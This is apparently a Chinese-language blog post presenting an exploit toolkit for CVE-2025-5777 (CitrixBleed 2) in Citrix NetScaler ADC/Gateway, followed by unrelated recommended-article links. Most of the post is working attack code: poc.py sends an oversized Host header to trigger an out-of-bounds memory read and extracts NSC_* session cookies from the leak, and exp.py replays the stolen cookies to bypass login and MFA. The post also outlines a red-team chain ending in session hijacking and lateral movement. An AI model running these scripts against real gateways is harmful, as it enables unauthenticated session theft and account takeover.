CitrixBleed 2 内存泄漏漏洞利用框架 (CVE-2025-5777)

CitrixBleed 2 (CVE-2025-5777) 内存泄漏利用框架

一个针对 CVE-2025-5777 的研究级利用与防御检测框架,深度剖析 Citrix NetScaler ADC/Gateway 越界内存读取漏洞。

项目简介

CVE-2025-5777(又称 CitrixBleed 2 )是 Citrix NetScaler ADC 和 Gateway 产品中的一个严重 越界内存读取 (OOB Read) 漏洞。攻击者无需任何身份验证,仅通过发送一个包含超长 Host 头的恶意 HTTP 请求,即可迫使目标设备将内核内存中的敏感数据(如会话 Cookie NSC_USERNSC_TASS、SAML 状态上下文、MFA 令牌等)随响应一起返回。攻击者利用泄露的会话信息可直接绕过身份验证和 MFA,实现会话劫持。

本项目基于对漏洞原理的深度逆向分析,提供了从漏洞触发、信息泄露到会话复用的完整工具链,并包含面向红队和蓝队的详尽操作手册。

功能特性

  • 内存泄露利用 (PoC) :发送特制的超长 Host 头请求,触发目标设备的 OOB 内存读取,并将泄露的内存数据保存为文件。
  • 会话自动提取 :自动从泄露的内存数据中正则匹配并提取所有 NSC_* 格式的会话 Cookie。
  • 会话复用验证 :提供独立的会话验证脚本,使用泄露的 NSC_USERNSC_TASS 尝试登录目标系统,确认漏洞利用是否成功。
  • 红队实战链:包含从资产发现、漏洞扫描、内存泄露、凭证提取到会话劫持和横向移动的完整攻击链指导。
  • 蓝队防御手册:提供详细的检测方法(Sigma/Suricata 规则)、取证分析指南、补丁验证步骤及 WAF 加固建议。
  • 源码级机理分析 :深入 NetScaler 的 WebProc 进程处理逻辑,剖析 snprintf()memcpy() 在 C 语言层面的缺陷,揭示漏洞根本原因。

安装指南

系统要求

  • Python 3.6 或更高版本
  • 支持的操作系统:Linux、macOS、Windows (WSL 推荐)

依赖安装

本项目依赖 requests 库。使用以下命令快速安装所需依赖:

bash 复制代码
# 克隆本仓库 (假设已获取代码)
# git clone <repository-url>
# cd <repository-name>

# 安装 Python 依赖
pip install requests urllib3

所有脚本均已内置禁用 SSL 警告 (urllib3.disable_warnings()),以兼容存在自签名证书的测试环境。

使用说明

1. 内存泄露探测与利用 (PoC)

使用 poc.py 脚本向目标网关发送恶意请求,触发漏洞并保存泄露的内存数据。

bash 复制代码
python3 poc.py https://target-gateway.example.com
  • 执行流程 :
    1. 构造包含约 24KB (0x6000 字节) 超长 Host 头的 GET 请求。
    2. 发送请求到 /nf/auth/startwebview.do 端点。
    3. 将服务器返回的响应内容保存为 leak_output.bin
    4. 自动从响应中搜索 NSC_ 开头的会话 Cookie 并打印。

示例输出:

ini 复制代码
[+] Sending OOB Host header to https://target-gateway.example.com/nf/auth/startwebview.do
[+] Response received: 32768 bytes
[+] Potential session cookies found:
    - NSC_USER=admin
    - NSC_TASS=7acbb35f4d8e2f1a9c6d3b8e4f2a1c7d

2. 会话复用验证 (Exp)

获得有效的 NSC_USERNSC_TASS 值后,使用 exp.py 脚本验证其有效性,实现无需密码的登录。

bash 复制代码
python3 exp.py https://target-gateway.example.com <NSC_USER值> <NSC_TASS值>

示例:

bash 复制代码
python3 exp.py https://target-gateway.example.com admin 7acbb35f4d8e2f1a9c6d3b8e4f2a1c7d

成功标志 : 脚本会访问 /vpn/index.html,若响应页面中包含 "Log Off" 或 "Welcome" 字样,则证明会话复用成功,已绕过登录验证。

css 复制代码
[+] Session replay successful: login bypassed!

核心代码

核心利用代码 (poc.py) - 内存泄露触发器

python 复制代码
#!/usr/bin/env python3
# CVE-2025-5777 CitrixBleed 2 - OOB Memory Leak PoC
# ⚠️ Authorized Testing Only

import requests
import sys
import re
import urllib3

urllib3.disable_warnings()

def leak_memory(target_url):
    # 构造恶意请求:目标端点为易受攻击的 startwebview.do
    url = target_url.rstrip("/") + "/nf/auth/startwebview.do"
    # 超长 Host 头,大小超过内部缓冲区 (0x1800),触发越界读
    headers = {
        "Host": "A" * 0x6000  # 24KB,远超缓冲区大小
    }

    print(f"[+] Sending OOB Host header to {url}")
    try:
        # 发送请求,不验证 SSL 证书
        r = requests.get(url, headers=headers, verify=False, timeout=10)
    except Exception as e:
        print(f"[-] Request failed: {e}")
        return

    print(f"[+] Response received: {len(r.content)} bytes")

    # 将泄露的原始内存数据保存到文件,供后续深入分析
    with open("leak_output.bin", "wb") as f:
        f.write(r.content)

    # 在响应内容中搜索所有 NSC_ 开头的会话凭证
    hits = re.findall(rb"(NSC_[A-Z]+=[^;\r\n ]+)", r.content)
    if hits:
        print("[+] Potential session cookies found:")
        for hit in hits:
            print(f"    - {hit.decode(errors='ignore')}")
    else:
        print("[-] No NSC_* cookies found. Try again or validate target.")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} https://target-gateway")
        sys.exit(1)

    leak_memory(sys.argv[1])

会话复用验证代码 (exp.py)

python 复制代码
import requests
import sys
import urllib3

urllib3.disable_warnings()

def validate_session(target, cookie_dict):
    # 验证会话是否有效的端点
    url = target.rstrip("/") + "/vpn/index.html"

    try:
        # 使用泄露的 Cookie 发起请求
        r = requests.get(url, cookies=cookie_dict, verify=False, timeout=8)
        # 检测响应中是否存在登录后的特征字符串
        if "Log Off" in r.text or "Welcome" in r.text:
            print("[+] Session replay successful: login bypassed!")
        else:
            print("[-] Session invalid or expired.")
    except Exception as e:
        print(f"[-] Failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} https://target NSC_USER_val NSC_TASS_val")
        sys.exit(1)

    # 将从内存泄露中提取的 Cookie 组装成字典
    cookie = {
        "NSC_USER": sys.argv[2],
        "NSC_TASS": sys.argv[3]
    }

    validate_session(sys.argv[1], cookie)
```FINISHED
6HFtX5dABrKlqXeO5PUv/+BTcuIMkX4UpCa+HKI+q0yDahaZlXLP9WOrXw/pNPyn29tG4zohbGmyxbhFKPq2HQ==
相关推荐
Asher阿舍技术站2 小时前
【AI基础学习系列】八、机器学习常见名词汇总
人工智能·学习·机器学习·常见名词
勾股导航2 小时前
蚁群优化算法
人工智能·pytorch·python
SmartBrain2 小时前
FastAPI实战(第三部分):浏览历史的接口开发详解
数据库·人工智能·aigc·fastapi
skywalk81632 小时前
解决opencode报错:Error: Failed to spawn OpenCode Server
人工智能
极客先躯2 小时前
高级java每日一道面试题-2025年7月15日-基础篇[LangChain4j]-如何集成国产大模型(如通义千问、文心一言、智谱 AI)?
java·人工智能·langchain·文心一言·异常处理·密钥管理·参数调优
阿星AI工作室3 小时前
我搭了一个 AI 写作机器人,每天自动写文章发到公众号草稿箱
人工智能·程序员
陈天伟教授3 小时前
人工智能应用- 材料微观:04.微观结构:金属疲劳
人工智能·神经网络·算法·机器学习·推荐算法
未来之窗软件服务3 小时前
AI人工智能(五)天猫精灵部署开发自己服务—东方仙盟练气期
人工智能·仙盟创梦ide·东方仙盟
用户579854769713 小时前
03:多 LLM 提供商统一接入:Provider 模式与 LiteLLM 实践
人工智能